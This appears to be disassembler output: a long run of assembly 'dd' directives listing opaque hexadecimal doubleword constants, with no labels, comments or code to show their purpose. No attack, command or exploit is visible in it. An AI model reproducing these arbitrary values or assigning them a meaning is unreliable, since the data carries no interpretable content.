		dd 50EB5CCBh, 27A3162Eh, 0AFE61000h, 0FE63F109h, 5D53006Ah
		dd 7728A7BFh, 591F4C5Fh, 0D0C6DFFDh, 388DA09h, 3C6E404Bh
		dd 1000EED4h, 0BE4C2EBh, 9AE7CFh, 0C076B059h, 0B8D67BC6h
		dd 9DA89300h, 3B9B7AFFh, 0F7D330F2h, 0E963FAD1h, 0F10D40DEh
		dd 76F099D6h, 7E38316Fh, 8055CB78h, 0B6B30919h,	84EE51h
		dd 0D0D78633h, 1A90A05Dh, 4BE8EC0Fh, 4D8706FAh,	52CB3030h
		dd 345B7F39h, 0BC024201h, 0FB221ED4h, 798806E5h, 868051CBh
		dd 0DA0D087Dh, 1CD30060h, 6B5FFB1Dh, 0D928EA43h, 790044CCh
		dd 0A3374FCAh, 0E1B4FBh, 0C161AE0Ch, 14B81C96h,	18083D68h
		dd 7B8F939Eh, 520FEAh, 2C864884h, 0E1BF0099h, 0EF39A3B8h
		dd 90A0A959h, 3A061312h, 5D65E945h, 5271FC41h, 0C07AB4E7h
		dd 5D9B6BB9h, 0C500ACE0h, 0F5DB9780h, 6E9D2CE4h, 0DD80394Bh
		dd 0FFD5ED64h, 0E65FD03h, 0F5C2F0h, 0BB3CEF41h,	1361C4Eh
		dd 18F4D000h, 2FBEC0D6h, 0D89903FAh, 0EEC24BEBh, 8B883100h
		dd 6F70E57Bh, 8A100B9h,	6440DE97h, 0DC02B738h, 3553AB41h
		dd 0FF620036h, 0CA009E6Eh, 0B213BB93h, 6CAA3Eh,	0B78A8DBDh
		dd 0A19C4417h, 29D9AF0Fh, 7A07403Ch, 60332B1h, 0F23A453Bh
		dd 4A03C9CFh, 0C7FF9251h, 34AAB84Ch, 2F19CEF6h,	2A80DEC0h
		dd 0F31DF813h, 0F40565A1h, 9853E6D4h, 4B677E00h, 0CE9176h
		dd 1D753299h, 0E79B2AA7h, 3E096207h, 0CC2AE73h,	7FA84045h
		dd 351A03C2h, 40E9D543h, 208BA3C9h, 0F06702C3h,	6EB01479h
		dd 745B0F4Fh, 0F4D4A4A7h, 0E94484E5h, 778F4C94h, 6C5A0202h
		dd 0E093E7C6h, 3B2D4001h, 0F864FAA5h, 5BCB198Ch, 0B4029751h
		dd 3879C25Ch, 192DE0C8h, 9CA702EFh, 0F6CAD06Fh,	2864C440h
		dd 42EA5B1Eh, 43F3CC40h, 60943DABh, 106351E5h, 980AF2B8h
		dd 0D8AFEC75h, 0B44411B4h, 3D41EDD7h, 0C4CA3935h, 0AB0C4210h
		dd 49EF5AFAh, 0D9D572F1h, 13E31829h, 0C875836Bh, 54D450F4h
		dd 0E180EAh, 62F5263Ah,	0BE540571h, 1229DD00h, 19E73394h
		dd 8F6824A1h, 0F5F14DDCh, 0F26187FCh, 0CEA0B3A5h, 602DCAh
		dd 0CF2A161Fh, 3DFA820Dh, 4341F80Ch, 257817Bh, 0CCC4630Fh
		dd 5C20DEACh, 2724FA4h,	0FAA606E6h, 0F845EE68h,	5A10F00h
		dd 481BA54Ch, 42145865h, 0B22AA363h, 16AA4024h,	4BA60700h
		dd 4C11A1E9h, 9CD9005Bh, 1FA7D67h, 440E3B27h, 0A1FE1F49h
		dd 42DEAFCDh, 0F69B8330h, 472D2409h, 343F0278h,	24440C64h
		dd 0E7246E7Ah, 3E06D0D1h, 19FE33h, 0E83B34B6h, 2CECF688h
		dd 0B73FA80Fh, 0E0F72FA6h, 0B9CFB16Bh, 0DED724CEh, 0C3638B24h
		dd 102CB788h, 0F389789Ah, 0A790D310h, 0BE773F1Fh, 0FDD4DDC3h
		dd 0C3EAE1BCh, 43002C32h, 17B0F91Ah, 0F4129399h, 10200535h
		dd 13EB814h, 0AE8B3C42h, 0F461ACCBh, 0C31C6C1Ch, 0C7409EB5h
		dd 0D7F03563h, 0B73A6h,	6C26D8E0h, 0C453D0CDh, 3B7163FCh
		dd 0EDCC5A00h, 333CA273h, 0C761C0F8h, 0BAF571D3h, 499E5600h
		dd 0CBDDA88Ch, 0F2843A7Ah, 4B874048h, 4CABC165h, 529DD93Bh
		dd 0C080D39Ch, 1B9CAA3Ah, 0A0006C93h, 9D77446Dh, 6CD500E1h
		dd 8EF3A1F0h, 0DB030315h, 26EAB378h, 0A98BE374h, 8C200C3Dh
		dd 9D3C84D5h, 0BC0100BBh, 0A39A363Bh, 0E3030008h, 75181A38h
		dd 3026730Bh, 228124D3h, 5669E947h, 75110C32h, 64E811E0h
		dd 13F57B7Ch, 122E6C2Dh, 650C203Ch, 0C48F00Dh, 0F61C0048h
		dd 0FE077D06h, 0EA461D3Eh, 6CA5850Eh, 4218009Eh, 0B698FAAAh
		dd 4409B17Dh, 813DACE1h, 11E6310Ch, 1434ABD9h, 0C7130A1Dh
		dd 3E6CD1F2h, 0CB885C49h, 0C0D1A932h, 58380F9Ch, 0E8161C66h
		dd 33682267h, 8159C490h, 901F1303h, 250CC18h, 5C807B21h
		dd 0A848DC96h, 3B84A59Dh, 6E92B9DAh, 27500CA1h,	0D41242D8h
		dd 4400BE89h, 0ED21643Ah, 531C3E85h, 5F39E130h,	0EC0192ABh
		dd 4C8C0A90h, 9062CC3Ah, 0BAC5A400h, 0D6893325h, 1BCF8E00h
		dd 6F29F0C2h, 588026C3h, 0D0AA00B3h, 50FC5520h,	0E828C091h
		dd 50439924h, 85DFE000h, 0F1A04445h, 9877B443h,	0EA5E7EFh
		dd 6D109942h, 4513DF00h, 6250E94Ah, 0F9603340h,	2E84CD51h
		dd 83E5002Bh, 39E61270h, 1F138F7Bh, 3C20CCB4h, 76B0906h
		dd 2A0856B8h, 0FCEC703Ah, 0A30E5C71h, 0E3D905DEh, 0E3AADB02h
		dd 0D4BA3A9Ch, 0E60884D4h, 957D5Dh, 46F3C04Fh, 0BFD7E187h
		dd 120AC104h, 0A88C2063h, 7B1F00F6h, 9B7996A0h,	4D1C7EDBh
		dd 9CE48C3Eh, 0DA500704h, 9C400B12h, 0FC881CB3h, 6509E3A4h
		dd 5FAB368h, 0CCDC3F5Dh, 98328850h, 198C7702h, 48E45DFBh
		dd 73A2DB4Ch, 2B9C7AAh,	60E87AE1h, 333FB34Bh, 46BF7C01h
		dd 5598976Eh, 59E35882h
		dd 0A0C9B46Fh, 74D872D5h, 295E4484h, 6A870600h,	0F03EF7BFh
		dd 34D5CE4h, 0A2540375h, 1E7CF5B3h, 0E4E1248Ah,	0F1E18942h
		dd 400018D6h, 4D22246Eh, 0C30109F8h, 404FDC04h,	0CDC06CB0h
		dd 634C05F8h, 840BD498h, 7EF83058h, 90007334h, 6F58C027h
		dd 4C7F5DEh, 6E250B5Eh,	613889E8h, 8020DEA4h, 0A037EED0h
		dd 60C3418Fh, 6F9319F6h, 2BFEAFD6h, 0AD500A00h,	9BD48215h
		dd 437770h, 33AC8F76h, 0FE57CB44h, 520EE0Bh, 47A00639h
		dd 0A59C0010h, 0F0A9FCB0h, 6E0036DAh, 424333FBh, 9471E94Ch
		dd 77598A88h, 0CCCE41CCh, 33E8246Fh, 66D9F260h,	9E4E099h
		dd 0D5F3524Bh, 0D334D400h, 0A5525BCDh, 0AD007790h, 0F5E69DEh
		dd 49FB4336h, 0A017B41Dh, 0EC080DE4h, 92FC0C51h, 0B10C600h
		dd 0FA4B6D5Fh, 30EA5C60h, 1618D28Ah, 3CC84BE7h,	0E317EC3Eh
		dd 46ECFh, 0A6C26C2Ch, 588C649Ch, 72C5B463h, 5B04D1EEh
		dd 0D6D711E4h, 3E357C30h, 0A97FCED3h, 6602AE6Ch, 57CC03h
		dd 137D5319h, 15B355C5h, 7074D800h, 3F9BCC2Eh, 4EE82832h
		dd 0E2AB4120h, 0AA594300h, 0D54901D8h, 0B4CC3BB2h, 34288CC1h
		dd 0DAA1FFh, 597D22C9h,	7A2A20CBh, 48939700h, 0B8B35B3Fh
		dd 0DB280927h, 7865E77Bh, 42B9E23Eh, 25788033h,	28FD756h
		dd 0AB5A913Bh, 0E45A7716h, 91464225h, 0BBD089DCh, 5012000Fh
		dd 5266F1Eh, 9A005F73h,	43A34803h, 544D49Dh, 24D86E3Bh
		dd 0E3EC00DFh, 850839D2h, 0A80072E4h, 4B41CB14h, 1A45BC4h
		dd 406919E4h, 29C33BAAh, 52331D84h, 64230FBDh, 18706946h
		dd 14A4B4h, 9B6CAC8Ah, 0FE654A68h, 3B430B0Ah, 85BC0892h
		dd 566BE944h, 9200448Ah, 0F8D83587h, 5444CC8Eh,	0C72C006Ch
		dd 0DA8A4EB7h, 3D00A38Dh, 56199E2Dh, 7414FEDh, 78CE5BC6h
		dd 0D4755080h, 0C0635C5h, 0ECC3461Bh, 82B000B9h, 8B25E968h
		dd 5E589C27h, 0A69001B8h, 44B276B1h, 122213C8h,	744AE3h
		dd 8A5FFF4Ch, 0D3487B80h, 0BED500C0h, 4D19A1E9h, 7CDF0684h
		dd 8A40BB3h, 9263C90h, 0E56004E6h, 0D9673h, 9183937Dh
		dd 0BE990347h, 13928C00h, 9F81BCCAh, 8728B13Bh,	0B09EEC03h
		dd 0DF85112Bh, 0BF74A004h, 34A20F64h, 87E79F1Ch, 23074EEAh
		dd 0B3C76948h, 67F0D347h, 6C092A0Fh, 11DDF02Bh,	0DE02A3B4h
		dd 0D55B4B00h, 0CC101260h, 0B0680753h, 0FDF79044h, 0CB19D332h
		dd 0E7C1E6DFh, 405C8422h, 0F6BAF188h, 8C81CF05h, 30C06DF0h
		dd 0E4326C31h, 90DC91A1h, 716C411h, 0DA406408h,	96BC749Dh
		dd 9BEC61C8h, 648373Bh,	0B16F34DBh, 0A1E30020h,	0F3667F68h
		dd 0A1C04CE8h, 0F1DCA0AAh, 0DA0120CAh, 80A8D47Dh, 0ACFC04D5h
		dd 9EEEE807h, 22170F41h, 0DE296930h, 444212B6h,	12E02033h
		dd 0ED00A2D4h, 92065DA4h, 0E49176h, 5AC484D1h, 8BEC528h
		dd 5B421600h, 3FB46E0Fh, 76C72E70h, 180125F0h, 0A5B50D63h
		dd 0D7A41019h, 5F7B0124h, 2DCA6C82h, 9A88F478h,	9F1CD90Bh
		dd 538484BDh, 46515D40h, 6109CBAEh, 8044CE5Fh, 0E35998FCh
		dd 16DC7C5Ah, 283B5CFAh, 6B0088A4h, 7D499FDh, 38037410h
		dd 0BF00926Eh, 94F86A75h, 64003F04h, 321C1F0Dh,	0A4EC74h
		dd 3550738h, 0BF6C50CDh, 85AD0E00h, 53F6436h, 79A8023Dh
		dd 4240C514h, 0E010E442h, 44000DE3h, 0B4CB493Ah, 27ACA3FBh
		dd 280592D4h, 785498E8h, 1360086h, 41B2D8D1h, 943E2BCAh
		dd 3CA80032h, 62E1D30Ah, 5AE61F31h, 5413DEDAh, 0CFC0D03Eh
		dd 0FE48CC7Dh, 7E879100h, 56BA1428h, 3806E402h,	0E31C7FDDh
		dd 0DACB4372h, 24A27321h, 685AF441h, 0A19C50h, 0AA44383Ch
		dd 6500AD6Ch, 6411B723h, 0E85CF41h, 5B4CB8B5h, 327056D3h
		dd 6B204AB0h, 32F234BCh, 0D451FBD1h, 8D001C7Ah,	0C2898752h
		dd 98E8475Eh, 41DF07B3h, 0E808F98h, 493DE4A0h, 0CC04AE03h
		dd 5F1886D6h, 6062ADC1h, 45709C48h, 80E038EAh, 897EB7D0h
		dd 0B9DF61Dh, 10838F2Eh, 1C43F0B1h, 0E4B08B5Eh,	0C6009A8Fh
		dd 0C908836Dh, 6EC2B9h,	0A1ECE762h, 0CC96A695h,	30E64F34h
		dd 131ED0E2h, 8D5E0063h, 0C8F025Fh, 0ABBCD300h,	0ACA698FAh
		dd 2E18F8B2h, 213704C5h, 0ECCD08B4h, 0C460CBBDh, 7D643841h
		dd 0CE54043Dh, 0D0304C82h, 4FA75D60h, 0F4C34B18h, 2F323B49h
		dd 6BD0DF57h, 0DA02C400h, 0FA2ED57Bh, 62370026h, 0AAEAB2CBh
		dd 3B001A82h, 79D20343h, 54D4AEB7h, 0EFA0EDh, 1184B412h
		dd 71C61541h, 9A29E500h, 10E4CB56h, 47322409h, 61FA42B4h
		dd 22DE6486h, 0CDF25A09h, 0E730A53Ch, 0D6E34C0h, 4B1C006Bh
		dd 9FA02FB6h, 601F560h,	0FAC5E0CBh, 0A370EC8Eh,	0C76C0198h
		dd 0B309D91Eh, 0CC0E7A0Ch, 4421F23Ah, 0FC60D514h, 365088F5h
		dd 309DBD01h, 43AD0FC0h, 9805A360h, 87162D13h, 0A209E270h
		dd 4089C34Ch, 58FC4288h, 453E5038h, 0FE334000h,	6CCC5AEAh
		dd 63BB1307h, 88CB0D0Bh, 90608CEDh, 0F436A6BDh,	0F8E04EDAh
		dd 994403B0h, 0A31F0E0Bh, 0C0CF8262h, 93ACA594h, 4450A8ACh
		dd 9D7D39E3h, 0F6050C79h, 363B469Bh, 7898CB11h,	0A6BBFB06h
		dd 31E4D4h, 2F1F9042h, 51C2C54Eh, 3FF0B20Eh, 775BE06Ch
		dd 0BEE41h, 4923C15h, 0DA307459h, 40111B0Eh, 0DF14205Dh
		dd 4496C0h, 7CA61803h, 0AE4B2917h, 33433209h, 83F8C8F4h
		dd 64B20198h, 1F385120h, 0F7F830D6h, 1DF0588h, 6D97A7F8h
		dd 0F48BDED2h, 762EE3CFh, 0BCFB45Fh, 809400AAh,	5C172Fh
		dd 766D1F1h, 50F50931h,	95F0E3B8h, 5A58E261h, 0E992F06Eh
		dd 626421C2h, 2D1FFC6Bh, 7328F33Eh, 739ABA3Dh, 5717DDF0h
		dd 0B30586BFh, 6C896664h, 0CC88AC6Dh, 0B65B5140h, 3B092FB9h
		dd 3848702Eh, 0A8A0DB00h, 2F070Eh, 4ED09B27h, 0CBE5BFACh
		dd 2A23B803h, 509AF131h, 2CF4C18h, 0E3DDC945h, 0E8604838h
		dd 0BD4EF205h, 1C00A016h, 458146E8h, 99423AA3h,	3C92A680h
		dd 0E94A430Ch, 0C858634Ch, 2B9C5878h, 0F3764D1Eh, 707BF640h
		dd 5B081Dh, 1FF857CCh, 85D4CBF4h, 0AAC1B07h, 0B4DEDC03h
		dd 0A45B1408h, 80433414h, 8942C0A5h, 712CE276h,	62A7BF78h
		dd 3D438020h, 0FB05C18Ch, 0D6B30A22h, 0CE00A0E2h, 0BE3478Dh
		dd 0AC697CABh, 90680008h, 62765AB3h, 0DD6451DCh, 80DF6CC1h
		dd 0A9124E11h, 2C8E4592h, 406C7A5Ah, 0BE7CCCD5h, 3E4478C2h
		dd 0E8ACDA95h, 0A994E23Dh, 608F2408h, 16C0A53Ch, 3A6F5ACBh
		dd 0F1C221C6h, 24920729h, 5EF2B662h, 0E3850680h, 673AC71Ch
		dd 0A130804Ch, 607F35B5h, 5BC90041h, 34A0E1D9h,	0DB73D365h
		dd 196E172Dh, 5BF9DA30h, 0F4BB193h, 91D1C8h, 4E0CA46Ch
		dd 4C443B62h, 8C814432h, 0FCCDCE85h, 23E68F7Dh,	0C054225Ch
		dd 109CB1DEh, 0A8560097h, 424CA43Fh, 20C98C54h,	44E88B6Bh
		dd 5A50048h, 48FFAB37h,	3902C687h, 63FE07D5h, 82E4710Eh
		dd 9C722C64h, 803AFCF9h, 14080C51h, 464BBB3h, 8982D02Ah
		dd 3534C197h, 12C6204h,	64E6CBECh, 0C872EE76h, 0FDD3F10Ah
		dd 90C31330h, 93778754h, 9A0F48F2h, 0FE9E40C9h,	36643B05h
		dd 3874C0B4h, 0F1A80706h, 40C40030h, 0E7C66E3Fh, 0FD16F7D3h
		dd 80C03393h, 5884E042h, 8100E8D8h, 5B136223h, 0FA0577CEh
		dd 0E6732CF1h, 8051C84h, 1404AECBh, 4B468E9h, 5B65EAAAh
		dd 108C16DAh, 792901Dh,	119C6990h, 0E13D0C32h, 4108419Dh
		dd 0F54C7C42h, 0B300A4E2h, 0D939F74Eh, 0D37D0331h, 0B8D76200h
		dd 76AA4385h, 9F200A5h
		dd 46983BBEh, 2490D94Ch, 0C1907CEBh, 0E8933C42h, 18F4C7Ch
		dd 0A710FA28h, 4411C970h, 0EDD33402h, 6EA5212Fh, 60214D11h
		dd 584FE075h, 3D7F104h,	90C349DAh, 7AA2228h, 0E0750784h
		dd 990940D0h, 0CA015AF5h, 3465D4E8h, 1850AEABh,	1069676h
		dd 89355A77h, 60ABFCA8h, 0B85F9397h, 0A23A3C20h, 0BDCB3D7Dh
		dd 0C0E0AB24h, 370A0D63h, 0EC775601h, 93564CCh,	1D411A0h
		dd 994BA5E6h, 0F4BF9348h, 0B40101F2h, 0FB0D1F3Bh, 48341B5Dh
		dd 0F15960CBh, 0B1808762h, 5F883C00h, 0E0C4AA63h, 0E7E30C89h
		dd 1679F3C3h, 0E464ED07h, 0E04EE89Fh, 59B04D3Dh, 0F3270691h
		dd 60151EF5h, 4FDEEB44h, 0ED0820ABh, 5E0087C2h,	5DAEA18Ch
		dd 62A781h, 7E59BB1Ah, 0B3559FC7h, 0A10031E8h, 1EE1FEE7h
		dd 4C164CA3h, 31148A5h,	0F022E4h, 2351617Eh, 338F7867h
		dd 0B20057EAh, 0B5864354h, 0BA5966E9h, 0E776E8F8h, 4C889478h
		dd 4C03AA97h, 22104920h, 430F6030h, 83111751h, 9345EFAh
		dd 0A59DD771h, 0D4DAC490h, 0F789D550h, 42811493h, 8195519Bh
		dd 3C8C5260h, 0DB58ACCAh, 30630866h, 3019D7Bh, 0DC34521Ah
		dd 80BB8B87h, 0DEB850C5h, 4000AD04h, 3A4C9FBBh,	5C76B043h
		dd 0C164FCCAh, 2264004Ah, 0BC43F6ADh, 0DBD558B8h, 0C6A248h
		dd 0F68895BDh, 0D9CB40h, 548E1B3h, 0E2A9DA63h, 3964B903h
		dd 0E0438DEAh, 9642D274h, 0CC056F94h, 75A821C2h, 90A917E6h
		dd 0F8A42F60h, 68160049h, 43A13A5Bh, 0C5AF310h,	13145000h
		dd 9D2CE8h, 8D211B1h, 203DB5CBh, 5B4E7400h, 0A5FD05D5h
		dd 0C541302Bh, 0A3BC6D10h, 284CB33Ah, 6C008034h, 4BAAE5C8h
		dd 0A1B1B965h, 34204488h, 1158B161h, 572600F7h,	19EF316Eh
		dd 0CA1201BAh, 7141CFFEh, 38CC053h, 8791FA2Eh, 4EA84D15h
		dd 613C13h, 7440E0D4h, 9A41356h, 3B34A864h, 0D0E304A6h
		dd 9C179491h, 3C9AF080h, 0A3403C47h, 9B33CB00h,	3F3D3758h
		dd 0A90DD431h, 4F2BCCD1h, 0C0DCF9C8h, 96E68E8Bh, 730072F2h
		dd 4EA2F7E8h, 0B6B22FFEh, 0E67685A0h, 39F06006h, 0D5501B6Dh
		dd 29003554h, 0EF1F8B75h, 5A7EDEABh, 16C4ECCh, 3C84E1E0h
		dd 7F006494h, 6DDC5303h, 0E40D8h, 3B4B50F5h, 5EFB1368h
		dd 4891C4Ah, 82D34842h,	0F944B0B8h, 870D0004h, 0E6CE5582h
		dd 8EDD7D1Fh, 36987000h, 4AD4DF3Bh, 395042A0h, 0D0C0CB49h
		dd 0E8B134BBh, 0E81A003Ah, 67EF5855h, 21082512h, 0F125786Eh
		dd 66E06ACFh, 43A7001Ch, 88C1A5B1h, 5C0008AAh, 3A81C6CEh
		dd 75291763h, 0F4094C3Bh, 6E126894h, 0E2E8D487h, 18BA1EC8h
		dd 8421F440h, 0C1C33Bh,	0CC2E74F6h, 55715159h, 6B5AA614h
		dd 66E81218h, 488058A2h, 3FF9CA47h, 48075897h, 7601CC21h
		dd 0B0EA050Fh, 0D134E143h, 0EC1180A4h, 0FAA349A1h, 9CA19759h
		dd 79F7D8F1h, 6FD3C06Ch, 74ECE7Dh, 9D27FF25h, 0DBBA72F2h
		dd 6B034044h, 0B7623C0Ch, 3D32E9D3h, 3EA09C60h,	8F3DB044h
		dd 40D66B8Bh, 9C6168C2h, 0E433124Dh, 5EDB3944h,	74DE3880h
		dd 76C9FA6Bh, 6922AF00h, 0E637CF49h, 45631371h,	3454065Bh
		dd 0F44441EEh, 0D1DAC049h, 65AD804Bh, 6FE99517h, 5159CC22h
		dd 44390360h, 4811D486h, 0F522ECB6h, 9D617700h,	24364552h
		dd 0DC7000B1h, 5DFA351Eh, 0B0974B38h, 977764h, 93D4209Dh
		dd 350D6DA9h, 0AC4A321Eh, 44AAD841h, 98429C27h,	16E02122h
		dd 82860AEh, 91CB3988h,	0B48B0090h, 0AAFFA988h,	4A769602h
		dd 603B4828h, 5991B23Ch, 56C818D7h, 13A42743h, 0D8DAEE68h
		dd 15EEB0BCh, 959C2900h, 40AABC82h, 40D44E80h, 6E1B1E54h
		dd 4B03082Bh, 1F849062h, 1AF02A2Dh, 0B1DE00D4h,	5AE20828h
		dd 0E3615570h, 6E5936B9h, 311471BCh, 2580B8CBh,	2C1AFD5Fh
		dd 5C90FE00h, 9B36AAB0h, 904C7AA4h, 13EE428Ch, 0E8A042D4h
		dd 0FAA417E5h, 0B8A42466h, 44A20034h, 942B5146h, 4D0B783Bh
		dd 65029449h, 67E8EE0Eh, 460A705Ah, 0B08316E3h,	0B0A5581Dh
		dd 0A0968FBCh, 71F374D7h, 9C2D09E7h, 8010C357h,	8700A5A9h
		dd 7B74C942h, 344FD94h,	49FFBA1Fh, 0CEC8D0F7h, 1C3C69A3h
		dd 7FFE09BDh, 18A300B4h, 0E10F32h, 16A89F1Fh, 0D1146DECh
		dd 0D8CCC003h, 50209Ch,	702F644Ah, 6C84130Bh, 3CDA9F00h
		dd 320CB342h, 50070748h, 0A0F9B734h, 7D383F03h,	0B175B213h
		dd 0EC7F780Ah, 9D40EC44h, 9A048938h, 6EB28200h,	5CDBC90Bh
		dd 80FC0257h, 0D305A0DFh, 0E8128066h, 0BC225A6Ah, 0A5F720F6h
		dd 35000B0Ah, 0E77E9837h, 0D76748h, 6374B888h, 1EE2D2F1h
		dd 79E8D530h, 34CBB43h,	6036260Dh, 8DF0F06Eh, 40EF01F5h
		dd 0AB3595F1h, 15B653Bh, 33F7232Fh, 0ACE0C441h,	0B70D3DE0h
		dd 0FEB4CB00h, 5AEEDC11h, 6A3FCC0Eh, 749DA0B9h,	5236CA5h
		dd 0D0F23347h, 0ED7C0803h, 23455080h, 0EC34FCh,	0F11425D8h
		dd 219B8DC1h, 3C0179FEh, 0E9AEAA2Dh, 4EE65962h,	7F72F0h
		dd 0DFB9FDC6h, 40270D64h, 7C434B26h, 0D6EFD38Fh, 0E0F210C9h
		dd 369FC5h, 730ECF58h, 0C626768Eh, 0C5C79A07h, 0EB9F4A01h
		dd 0EC101005h, 2E7EE8CCh, 80983543h, 0CE08499Ch, 78994427h
		dd 12EDA080h, 1651DE8Bh, 72D0454h, 90F36935h, 0A8C11CFEh
		dd 68D06C05h, 8C80F4E6h, 206DA65h, 5AB05599h, 34E4C34Ch
		dd 9413B300h, 849A1977h, 0D4EC57h, 4669D831h, 0CBA9CC5Eh
		dd 0E0A8C625h, 4B64327Ch, 4414D80Eh, 80C97539h,	0B1953E9Ch
		dd 1CF46Eh, 4AC01564h, 5B368035h, 49A7D600h, 0CF0BFAD3h
		dd 2EA328E2h, 1F67F8E0h, 80F445F3h, 20E435C5h, 634EE946h
		dd 6821148Eh, 0DBA8D702h, 0F2D0C805h, 2ADF2701h, 3B45C418h
		dd 51AB901Bh, 0C2EF8980h, 900082Dh, 155E88E0h, 6700CB55h
		dd 0C31EDAFBh, 5C9F90h,	0BA774453h, 0F07CF43Bh,	8019A23Ah
		dd 6E26DD02h, 0FAC070Fh, 0E7F19581h, 147502B3h,	0D8797159h
		dd 0C90A4940h, 252B0D1h, 979629B0h, 85085DDh, 0A200D072h
		dd 42D39251h, 37A0674Ch, 84EAFE24h, 7BB0E298h, 8F779D00h
		dd 7118A4Fh, 4EB50028h,	2BF91033h, 4D003FEAh, 4F06FE2Fh
		dd 1F31A9Ah, 4E1EF0A7h,	3EC344ADh, 70975847h, 5553C6B0h
		dd 12CA0099h, 4B22826Ah, 0DA481AFCh, 0F64C9D64h, 2C890E7h
		dd 46E8EC1Eh, 0AC413A98h, 839C68F0h, 0E0FC8CACh, 31950E8h
		dd 794F09ABh, 0EEA02146h, 721E071Dh, 88C06818h,	78E906F0h
		dd 4AF2E0BCh, 0FA0C44D9h, 8B64A865h, 0EC2098F6h, 0C9FE07F9h
		dd 8129D152h, 2DA8070Eh, 0A2598758h, 830D44F2h,	2470DA9Ah
		dd 15586B18h, 0C11DB4D2h, 0BC003D29h, 7778ACCEh, 309DB0Bh
		dd 0F2D1F1E0h, 54D44C30h, 3DDD6980h, 0C8011E92h, 3FCAD0F1h
		dd 89F46C41h, 0E9BE094Ah, 10AB6369h, 0ED00A8C6h, 0B9CC6013h
		dd 267E9E1Ah, 6BC1D1h, 2506502Ah, 6B3E68BEh, 4ADF02D4h
		dd 5A71E9EAh, 6E431DE8h, 4C4C997h, 82597805h, 0D500E3F4h
		dd 2479D070h, 1DE8FB6Eh, 460C402Ch, 1325D95Bh, 0ABE51E01h
		dd 5FCCAAEAh, 871A5180h, 0A1ACB4B0h, 28832D00h,	0B33A803h
		dd 0DB9A00C8h, 2192886Dh, 596EEBB2h, 80444E68h,	3F08A5AAh
		dd 0CF123C2Bh, 13A04984h, 0A2B484E8h, 0B3660098h, 0C5703479h
		dd 4FC34E09h, 1A217B6Ch, 0C8B4E029h, 1E002DE9h,	494C75FDh
		dd 0C8E66B80h, 0E980EF49h, 409D77ABh, 7D1600C1h, 10E2A689h
		dd 0FA52CDF2h, 1E422CCh, 6D85A915h, 2084AC0Ch, 60AAE674h
		dd 0CCF12489h, 4C2367C4h
		dd 340B2C5h, 0DA262AB6h, 7D02C734h, 0E79860F5h,	307858D9h
		dd 0BAAC450h, 63FA9951h, 96DEA480h, 445407EAh, 902F4B3Ch
		dd 0BCE081C9h, 43EDAFCBh, 0EEDA55E0h, 95E28058h, 0AA045A00h
		dd 6930224Ch, 2DE754Eh,	8FEA675Eh, 305456E8h, 7A5711h
		dd 0C2C019F4h, 87694B96h, 9D065A0Ah, 0C8A3A44Ah, 64AD3D80h
		dd 4801B824h, 47CDC1Bh,	59E8F34Fh, 0DDA88972h, 2787263h
		dd 7567783Fh, 0F13840B5h, 302095CAh, 0CCF892E3h, 43CF3419h
		dd 6410DC40h, 0AA5C5AA9h, 64014B2Ch, 3BACD6DBh,	0D8D0CBE1h
		dd 10912CEFh, 30BC00E0h, 0E473F77Fh, 8A0CCF0h, 14A0D4CBh
		dd 0C1C0F2C3h, 2485AFE5h, 0D8A3F6Bh, 2A314683h,	72F02D55h
		dd 77766D3h, 50FC541Bh,	20E1C2C8h, 0ABA9F27Ah, 4F349200h
		dd 0B0A8D8DBh, 0F16402E6h, 550B9866h, 78D78481h, 1809D36Ch
		dd 0CEB204h, 76EFD504h,	87009A5h, 0B0084E87h, 0E72088Ch
		dd 42059A00h, 76940Ch, 4DCC9BBAh, 13B2E11Ch, 0E7A16F03h
		dd 58D06093h, 0A0639D40h, 78618F78h, 0B8D86F40h, 0A9161980h
		dd 0CCF03366h, 44A88761h, 70006323h, 2813226h, 60E054F0h
		dd 34A430C0h, 0EA030AEDh, 0AA5DB41Ah, 0D9E8204Fh, 8E8A721h
		dd 0E0442C49h, 2580B53Ch, 0B9FC4455h, 4054E20h,	14EF518Fh
		dd 30237975h, 830A4300h, 0ABB210DBh, 282E1400h,	0C88240Fh
		dd 0BA500096h, 43D7BF0Dh, 0CC915BFAh, 60C8CA90h, 3319E54Fh
		dd 4C3A408Ch, 5412883Fh, 8C1F58h, 0A05CF4BFh, 48B018B4h
		dd 0F35F4A00h, 9A769D32h, 3478FD9Bh, 0DF70D304h, 66908014h
		dd 0EEFC9C80h, 0BE49E800h, 0A8CD3B35h, 20106143h, 0E96156D9h
		dd 11204F2Dh, 0AA89973Dh, 68004479h, 30B6D581h,	0B1AE3895h
		dd 42696A80h, 0A5DAAA62h, 41C5B72h, 0AB00F93Bh,	106C2FE3h
		dd 6EC21675h, 3F94E677h, 0EAC500AAh, 62E12A21h,	3B25242Eh
		dd 48780F68h, 0E3430490h, 48E9D39Dh, 0D3DF902h,	97816347h
		dd 0BA275AEFh, 1C21E008h, 58800D36h, 0A80C3BC3h, 62D8E52Fh
		dd 12DC7014h, 0EBB404A4h, 50E9CB2Ah, 9D446A00h,	0FE37D33Ch
		dd 2F66E67Dh, 7E216708h, 0FD9D008Bh, 0AFA413FBh, 880204D0h
		dd 5FB25179h, 8945C1Ch,	4800B33Eh, 0AACD8709h, 2508ECD0h
		dd 0D46450F5h, 670E674Ch, 902E130h, 0FAC060DDh,	74DC4C90h
		dd 5EDA310h, 0F5BFA23Fh, 24048013h, 6400074Fh, 4CDF36A3h
		dd 6685CB00h, 489CF4D4h, 2598C6h, 0CA834988h, 3645509Bh
		dd 0ECD4BE01h, 0F965527Dh, 13E0D4h, 4BFCACA8h, 5405C64h
		dd 0B5112100h, 3779B82Ch, 0A22B00DEh, 7C646C43h, 69011CACh
		dd 835AE654h, 36F4CDFDh, 0B7590378h, 1AEF2131h,	0AD985490h
		dd 9E00CEF2h, 0F2ABDC37h, 7A865F23h, 91AE0133h,	0E1A53FAAh
		dd 0C81961F8h, 0FC0B608Eh, 94BE11h, 1E0AD446h, 0EB4900B8h
		dd 72A1637Eh, 0C007002h, 0A33EA6EDh, 30D97B66h,	6F38BB8Fh
		dd 41602AFDh, 16E31518h, 0FCC3FC2Eh, 46C90E67h,	840C67Bh
		dd 9C25AF2Ah, 0D4E14D03h, 0D7DE7E79h, 0CC805687h, 0C575ADDh
		dd 661420FFh, 0EB0C9658h, 8075CB76h, 180C9092h,	50E52981h
		dd 0E402ECE8h, 2601202Ch, 0E9576079h, 0A61B3086h, 810A9C30h
		dd 98230E00h, 2F16D5E3h, 5559C06Bh, 74CFF152h, 57009B77h
		dd 16F94D12h, 3BB7945Ah, 54FC5F40h, 37918CA1h, 803801E5h
